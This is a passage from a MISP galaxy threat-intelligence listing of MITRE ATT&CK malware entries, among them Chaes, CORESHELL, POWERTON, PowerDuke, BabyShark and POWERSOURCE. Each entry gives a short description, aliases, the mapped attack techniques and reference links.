- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="USBStealer" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 5404. Table References

Links
http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/
https://attack.mitre.org/software/S0136
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/

Chaes - S0631

[Chaes](https://attack.mitre.org/software/S0631) is a multistage information stealer written in several programming languages that collects login credentials, credit card numbers, and other financial information. [Chaes](https://attack.mitre.org/software/S0631) was first observed in 2020, and appears to primarily target victims in Brazil as well as other e-commerce customers in Latin America.(Citation: Cybereason Chaes Nov 2020)

The tag is: *misp-galaxy:mitre-malware="Chaes - S0631"*

Chaes - S0631 is also known as:

- Chaes

View relationships graph

Chaes - S0631 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="InstallUtil - T1218.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-

language:likelihood-probability="almost-certain"

* uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5405. Table References

Links
https://attack.mitre.org/software/S0631
https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf

Janicab - S0163

[Janicab](https://attack.mitre.org/software/S0163) is an OS X trojan that relied on a valid developer ID and oblivious users to install it. (Citation: Janicab)

The tag is: *misp-galaxy:mitre-malware="Janicab - S0163"*

Janicab - S0163 is also known as:

* Janicab

View relationships graph

Janicab - S0163 has relationships with:

* uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
* similar: misp-galaxy:tool="Janicab" with estimative-language:likelihood-probability="likely"

Table 5406. Table References

Links
http://www.thesafemac.com/new-signed-malware-called-janicab/
https://attack.mitre.org/software/S0163

CORESHELL - S0137

[CORESHELL](https://attack.mitre.org/software/S0137) is a downloader used by [APT28](https://attack.mitre.org/groups/G0007). The older versions of this malware are known as SOURFACE and newer versions as CORESHELL.(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)

The tag is: *misp-galaxy:mitre-malware="CORESHELL - S0137"*

CORESHELL - S0137 is also known as:

- CORESHELL
- Sofacy
- SOURFACE

View relationships graph

CORESHELL - S0137 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5407. Table References

Links
https://attack.mitre.org/software/S0137
https://securelist.com/a-slice-of-2017-sofacy-activity/83930/
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

FLIPSIDE - S0173

[FLIPSIDE](https://attack.mitre.org/software/S0173) is a simple tool similar to Plink that is used by [FIN5](https://attack.mitre.org/groups/G0053) to maintain access to victims. (Citation: Mandiant FIN5 GrrCON Oct 2016)

The tag is: *misp-galaxy:mitre-malware="FLIPSIDE - S0173"*

FLIPSIDE - S0173 is also known as:

- FLIPSIDE

View relationships graph

FLIPSIDE - S0173 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"

Table 5408. Table References

Links
https://attack.mitre.org/software/S0173
https://www.youtube.com/watch?v=fevGZs0EQu8

POWERTON - S0371

[POWERTON](https://attack.mitre.org/software/S0371) is a custom PowerShell backdoor first observed in 2018. It has typically been deployed as a late-stage backdoor by [APT33](https://attack.mitre.org/groups/G0064). At least two variants of the backdoor have been identified, with the later version containing improved functionality.(Citation: FireEye APT33 Guardrail)

The tag is: *misp-galaxy:mitre-malware="POWERTON - S0371"*

POWERTON - S0371 is also known as:

- POWERTON

View relationships graph

POWERTON - S0371 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5409. Table References

Links
https://attack.mitre.org/software/S0371
https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html

Marcher - S0317

[Marcher](https://attack.mitre.org/software/S0317) is Android malware that is used for financial fraud. (Citation: Proofpoint-Marcher)

The tag is: *misp-galaxy:mitre-malware="Marcher - S0317"*

Marcher - S0317 is also known as:

- Marcher

View relationships graph

Marcher - S0317 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1401" with estimative-language:likelihood-probability="almost-certain"

Table 5410. Table References

Links
https://attack.mitre.org/software/S0317
https://www.proofpoint.com/us/threat-insight/post/credential-phishing-and-android-banking-trojan-combine-austrian-mobile-attacks

OLDBAIT - S0138

[OLDBAIT](https://attack.mitre.org/software/S0138) is a credential harvester used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)

The tag is: *misp-galaxy:mitre-malware="OLDBAIT - S0138"*

OLDBAIT - S0138 is also known as:

- OLDBAIT
- Sasfis

View relationships graph

OLDBAIT - S0138 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="OLDBAIT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 5411. Table References

Links
https://attack.mitre.org/software/S0138
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

FlawedAmmyy - S0381

[FlawedAmmyy](https://attack.mitre.org/software/S0381) is a remote access tool (RAT) that was first seen in early 2016. The code for [FlawedAmmyy](https://attack.mitre.org/software/S0381) was based on leaked source code for a version of Ammyy Admin, a remote access software.(Citation: Proofpoint TA505 Mar 2018)

The tag is: *misp-galaxy:mitre-malware="FlawedAmmyy - S0381"*

FlawedAmmyy - S0381 is also known as:

- FlawedAmmyy

View relationships graph

FlawedAmmyy - S0381 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5412. Table References

Links
https://attack.mitre.org/software/S0381
https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware

HAWKBALL - S0391

[HAWKBALL](https://attack.mitre.org/software/S0391) is a backdoor that was observed in targeting of the government sector in Central Asia.(Citation: FireEye HAWKBALL Jun 2019)

The tag is: *misp-galaxy:mitre-malware="HAWKBALL - S0391"*

HAWKBALL - S0391 is also known as:

- HAWKBALL

View relationships graph

HAWKBALL - S0391 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5413. Table References

Links
https://attack.mitre.org/software/S0391

https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html

Allwinner - S0319

[Allwinner](https://attack.mitre.org/software/S0319) is a company that supplies processors used in Android tablets and other devices. A Linux kernel distributed by [Allwinner](https://attack.mitre.org/software/S0319) for use on these devices reportedly contained a backdoor. (Citation: HackerNews-Allwinner)

The tag is: *misp-galaxy:mitre-malware="Allwinner - S0319"*

Allwinner - S0319 is also known as:

- Allwinner

View relationships graph

Allwinner - S0319 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"

Table 5414. Table References

Links
https://attack.mitre.org/software/S0319
https://thehackernews.com/2016/05/android-kernal-exploit.html

PowerDuke - S0139

[PowerDuke](https://attack.mitre.org/software/S0139) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. (Citation: Volexity PowerDuke November 2016)

The tag is: *misp-galaxy:mitre-malware="PowerDuke - S0139"*

PowerDuke - S0139 is also known as:

- PowerDuke

View relationships graph

PowerDuke - S0139 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="PowerDuke" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5415. Table References

Links
https://attack.mitre.org/software/S0139
https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/

BabyShark - S0414

[BabyShark](https://attack.mitre.org/software/S0414) is a Microsoft Visual Basic (VB) script-based malware family that is believed to be associated with several North Korean campaigns. (Citation: Unit42 BabyShark Feb 2019)

The tag is: *misp-galaxy:mitre-malware="BabyShark - S0414"*

BabyShark - S0414 is also known as:

- BabyShark

View relationships graph

BabyShark - S0414 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

* uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5416. Table References

Links
https://attack.mitre.org/software/S0414
https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/

ChChes - S0144

[ChChes](https://attack.mitre.org/software/S0144) is a Trojan that appears to be used exclusively by [menuPass](https://attack.mitre.org/groups/G0045). It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)

The tag is: *misp-galaxy:mitre-malware="ChChes - S0144"*

ChChes - S0144 is also known as:

* ChChes
* Scorpion
* HAYMAKER

View relationships graph

ChChes - S0144 has relationships with:

* uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
* similar: misp-galaxy:malpedia="ChChes" with estimative-language:likelihood-

probability="likely"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="HAYMAKER" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5417. Table References

Links
http://blog.jpcert.or.jp/2017/02/chches-malware—93d6.html
http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/
https://attack.mitre.org/software/S0144
https://twitter.com/ItsReallyNick/status/850105140589633536
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf

PowerShower - S0441

[PowerShower](https://attack.mitre.org/software/S0441) is a PowerShell backdoor used by [Inception](https://attack.mitre.org/groups/G0100) for initial reconnaissance and to download and execute second stage payloads.(Citation: Unit 42 Inception November 2018)(Citation: Kaspersky Cloud Atlas August 2019)

The tag is: *misp-galaxy:mitre-malware="PowerShower - S0441"*

PowerShower - S0441 is also known as:

- PowerShower

View relationships graph

PowerShower - S0441 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

Table 5418. Table References

Links
https://attack.mitre.org/software/S0441
https://securelist.com/recent-cloud-atlas-activity/92016/
https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/

BOOSTWRITE - S0415

[BOOSTWRITE](https://attack.mitre.org/software/S0415) is a loader crafted to be launched via abuse of the DLL search order of applications used by [FIN7](https://attack.mitre.org/groups/G0046).(Citation: FireEye FIN7 Oct 2019)

The tag is: *misp-galaxy:mitre-malware="BOOSTWRITE - S0415"*

BOOSTWRITE - S0415 is also known as:

- BOOSTWRITE

View relationships graph

BOOSTWRITE - S0415 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 5419. Table References

Links
https://attack.mitre.org/software/S0415
https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html

POWERSOURCE - S0145

[POWERSOURCE](https://attack.mitre.org/software/S0145) is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. (Citation: FireEye FIN7 March 2017) (Citation: Cisco DNSMessenger March 2017)

The tag is: *misp-galaxy:mitre-malware="POWERSOURCE - S0145"*

POWERSOURCE - S0145 is also known as:

- POWERSOURCE
- DNSMessenger

View relationships graph

POWERSOURCE - S0145 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="DNSMessenger" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:rat="DNSMessenger" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 5420. Table References

Links
http://blog.talosintelligence.com/2017/03/dnsmessenger.html
https://attack.mitre.org/software/S0145
https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html

LoudMiner - S0451

